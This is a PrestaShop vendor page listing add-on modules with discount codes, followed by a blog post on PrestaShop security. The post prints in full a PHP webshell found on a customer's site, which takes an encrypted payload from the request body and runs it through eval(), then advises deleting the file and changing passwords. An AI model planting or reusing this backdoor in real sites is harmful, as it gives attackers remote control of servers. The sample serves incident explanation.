Categories
PrestaShop Theme/Template

Check out those useful PrestaShop plugins/extensions/modules to help foreign trade promotion involve SEO optimization time-saving batch tools social sharing website security big data statistics all aspects-coupons are included for discounts

Advanced CSV Export For 9-in-1(Product-Category etc)

Advanced CSV Export For 9-in-1(Product-Category etc) Module

PrestaShop has built-in CSV file data import, such as Categories, Products, Combinations, Customers, Address, Brands, Suppliers, Alias, Store Contacts. This plug-in will automatically be compatible with the above formats and export store CSV files.

Promo code: ECO-75D58E854FD3269D (30% reduction,Validity expires on 01/20/2021)


QR code scan generator that supports product attributes

QR code scan generator that supports product attributes Module

Create a unique QR code for each product(Including attribute selection), so customers can easily take smartphone scanning for easy purchase, saving customers time and increasing product sales conversion rates.


Product Bar Code Generator(ISBN/EAN-13/JAN/UPC barcode)

Product Bar Code Generator(ISBN/EAN-13/JAN/UPC barcode) Module

Improve the default ISBN, EAN-13 or JAN barcode, UPC barcode display, optimized for bar code display, customers can easily use the smartphone to scan bar code.


Google Two-factor Authenticator For Back Office

Google Two-factor Authenticator For Back Office Module

Use two-step verification to improve account and password security, even if your account password is leaked or stolen, there is no need to worry, because your hardware smart machine verification code only you know, hackers can not log into the system.

Promo code: ECO-13F47BEAB65490F7 (30% reduction,Validity expires on 01/20/2021)


Google reCAPTCHA Security Captcha Spam Protection

Google reCAPTCHA Security Captcha Spam Protection Module

Google reCAPTCHA is a free service that protects your site from spam and abuse.Using this service can make your website more secure, away from robot attacks, brute force cracking, simulated submission, remote registration, spam, etc.

Promo code: ECO-165B55F95FAFCFB6 (30% reduction,Validity expires on 01/20/2021)


Advanced Bulk/Batch optimization SEO Pro

Advanced Bulk/Batch optimization SEO Pro Module

For Categories, Products, Brands, Suppliers, Page categories, Pages a total of 6 items of Name, Description, Short description, Meta title, Meta description, Meta keywords, Image caption, Friendly URL for batch SEO optimization.

Promo code: ECO-0C9DB335701F6E49 (30% reduction,Validity expires on 01/20/2021)


Social Media Toolbar Custom Sidebar Widget

Social Media Toolbar Custom Sidebar Widget Module

A social toolbar widget that can be customized and unlimited dynamic additions, such as adding Facebook, WhatsApp, Skype, Live Chat, QR code, etc.Use familiar social icons to improve your interaction with customers and increase order conversion rates


Advanced Bulk/Mass Set Product(Category,Price) Pro

Advanced Bulk/Mass Set Product(Category,Price) Pro Module

Filter out a batch of products according to multiple filtering methods, and then manipulate the product catalogs in batches (moving catalogs, associating catalogs, disassociating catalogs), and setting product prices in batches (support random price)

Promo code: ECO-76BD2D45732DED82 (30% reduction,Validity expires on 01/20/2021)


Product Bundle Pack|Add multiple products into the cart

Product Bundle Pack|Add multiple products into the cart Module

Customers are free to choose product attribute combinations, add multiple products to the shopping cart at once, and customers freely decide to purchase certain product attribute combinations under the product bundle pack promotion&discount.


Google Two-factor Authenticator For Front Office

Google Two-factor Authenticator For Front Office Module

Use two-step verification to improve account and password security, even if your account password is leaked or stolen, there is no need to worry, because your hardware smart machine verification code only you know, hackers can not log into the system

Promo code: ECO-CFA94E75ABBA0683 (30% reduction,Validity expires on 01/20/2021)


Advanced Social Media Share Side Bar Links Buttons

Advanced Social Media Share Side Bar Links Buttons Module

AddThis is known for beautifully simple share buttons,But also offer a full suite of website tools like Share Buttons,Follow ButtonsLink PromotionList BuildingWebsite Tip Jar and Related Posts!

Promo code: ECO-1FF3698FBFD2587F (30% reduction,Validity expires on 01/20/2021)


Simple Google Analytics

Simple Google Analytics Module

Get a deeper understanding of your customers. Google Analytics gives you the free tools you need to analyze data for your business in one place.


Simple Statcounter Analysis

Simple Statcounter Analysis Module

Understand your visitors with Statcounter,Improve online store conversion rate, analyze user behavior, precision marketing.In addition to google analytics, another powerful web analytics platform:Statcounter.


Scroll Back To Top (custom position & multiple icons)

Scroll Back To Top (custom position & multiple icons) Module

A simple scroll back to top module that supports icon customization and icon location customization.


Product Combinations Bulk Generate Manager

Product Combinations Bulk Generate Manager Module

Product Combinations Bulk Generate Manager,Products under the specified catalog “Delete all attribute combinations, delete specified attribute combinations, bulk generate and set attribute combinations”

Promo code: ECO-355CDAFABE8C1458 (30% reduction,Validity expires on 12/31/2020)


Apache Log Analyzer - Mining Big Data for User Behavior

Apache Log Analyzer – Mining Big Data for User Behavior Module

Analysis of Apache server access_log files, big data analysis to guide online marketing, improve the conversion rate of orders,it helps to analysis apache server log  information instead visiting online analytics like google analytics etc.

Promo code: ECO-1963A407CC22264E (30% reduction,Validity expires on 01/20/2021)


Powerful and custom short URL link generator for SEO

Powerful and custom short URL link generator for SEO Module

A URL shortener built with powerful tools to help your customers easily remember you and analyze user behaviors to improve order conversion rates.

Promo code: ECO-F055A132C5E0E6E0 (30% reduction,Validity expires on 01/20/2021)


Advanced Bulk/Batch Find And Replacement Pro

Advanced Bulk/Batch Find And Replacement Pro Module

For Categories, Products, Brands, Suppliers, Page categories, Pages a total of 6 items of Name, Description, Short description, Meta title, Meta description, Meta keywords, Image caption , Friendly URL for batch find and replacement.

Promo code: ECO-5B7C68FDB06E1A75 (30% reduction,Validity expires on 01/20/2021)


Advanced Product Tags Pro | SEO internal link promotion

Advanced Product Tags Pro | SEO internal link promotion Module

Display the product tag on the product page, which will help customers filter the product, increase the search engine spider crawl and thus improve the site SEO ranking, background support custom product tag URL,compatible with Google sitemap module.

Promo code: ECO-45B2580D51E1BE42 (30% reduction,Validity expires on 01/20/2021)


Categories
PrestaShop News PrestaShop Security

Several industry must-have tools to improve the security of PrestaShop foreign trade e-commerce website

PrestaShop development history

PrestaShop is an excellent and powerful foreign trade open source e-commerce software. We started using PrestaShop in 2009, when PrestaShop was still version 0.9: fresh interface, powerful performance, and friendly extensions. Neither the bulkiness of Magento nor the old age of ZenCart, nor the fragility of OpenCart, so PrestaShop has sprung up like bamboo shoots after a rain, and it has quickly become popular around the world, and is generally loved by users. (As for which foreign trade open source e-commerce software such as PrestaShop, Magento, ZenCart, OpenCart, etc. is better? ), as a new generation of e-commerce solutions, PrestaShop is very popular all over the world, with 300,000+ merchants, 1 million+ community users, 1,000+ developers, and 250+ agents.

As PrestaShop continues to grow, we believe that PrestaShop will get better and better:

PrestaShop information security

Benefiting from the good structure of PrestaShop, the security issues of PrestaShop are still very commendable, but as the technical level of the personnel involved in the development of PrestaShop is uneven, the vulnerability of PrestaShop has begun to appear. We can search for PrestaShop in the Openwall. Check the vulnerability information of PrestaShop. Up to now, PrestaShop has been developed for 11 years+. If you have the technical ability, welcome to submit vulnerability information and jointly build PrestaShop information security. ZHSoft has been in the field of PrestaShop for 11 years+.

PrestaShop security vulnerabilities explained

After customer feedback, there is a file on his website, which is always restored no matter how it is modified. Finally, our senior engineers checked his PrestaShop website and found the problem. The specific PrestaShop Trojan file is as follows:

<?php
session_start();
@set_time_limit(0);
@error_reporting(0);
function E($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $D[$i] = $D[$i]^$K[$i+1&15];
    }
    return $D;
}
function Q($D){
    return base64_encode($D);
}
function O($D){
    return base64_decode($D);
}
function I(){
    return "php://input";
}
$V='user';
$T='12345678';

    $F=O(E(file_get_contents(I()),$T));
    if (isset($_SESSION[$V])){
        $L=$_SESSION[$V];
        $A=explode('|',$L);
        class C{public function nvoke($p) {eval($p."");}}
        $R=new C();
		$R->nvoke($A[0]);
        echo E(run($F),$T);
    }else{
        $_SESSION[$V]=$F;
    }

It can be seen that the core statement of the above Trojan horse is:

function I(){
    return "php://input";
}

php://input is to receive external information transmission, which is usually said: broiler, remote control, as long as this Trojan file exists, no matter how hard the customer tries, it is futile, because the Trojan file can transmit any virus file remotely. Going to the website is extremely harmful.

PrestaShop security vulnerability patch

After analysis by our senior engineers, the final solution to the above problems is also very clear:

  • First, Trojan files are found in the lower row of the entire website and deleted directly.
  • Then modify all server passwords, database passwords, FTP passwords, and website backend passwords.

Written at the end, now PrestaShop is more and more popular with everyone, and the technical level of the developers is also uneven. It is recommended that you choose a developer with technical strength and support long-term after-sales (recommendation: ZHSoft.), do not Coveting petty gains damages their own information security, because data is priceless.

Here, I would like to recommend several industry-required tools to improve the security of PrestaShop foreign trade e-commerce website:

Use two-step verification to improve account and password security, even if your account password is leaked or stolen, there is no need to worry, because your hardware smart machine verification code only you know, hackers can not log into the system

Use two-step verification to improve account and password security, even if your account password is leaked or stolen, there is no need to worry, because your hardware smart machine verification code only you know, hackers can not log into the system

Google reCAPTCHA is a free service that protects your site from spam and abuse.Using this service can make your website more secure, away from robot attacks, brute force cracking, simulated submission, remote registration, spam, etc.

The above is all the solutions for PrestaShop information security, I hope it will be useful to everyone.

Remind again: It is recommended that you choose a developer with technical strength and support long-term after-sales service (recommendation: ZHSoft.), do not greed for small bargains and damage your own information security, because: data is priceless.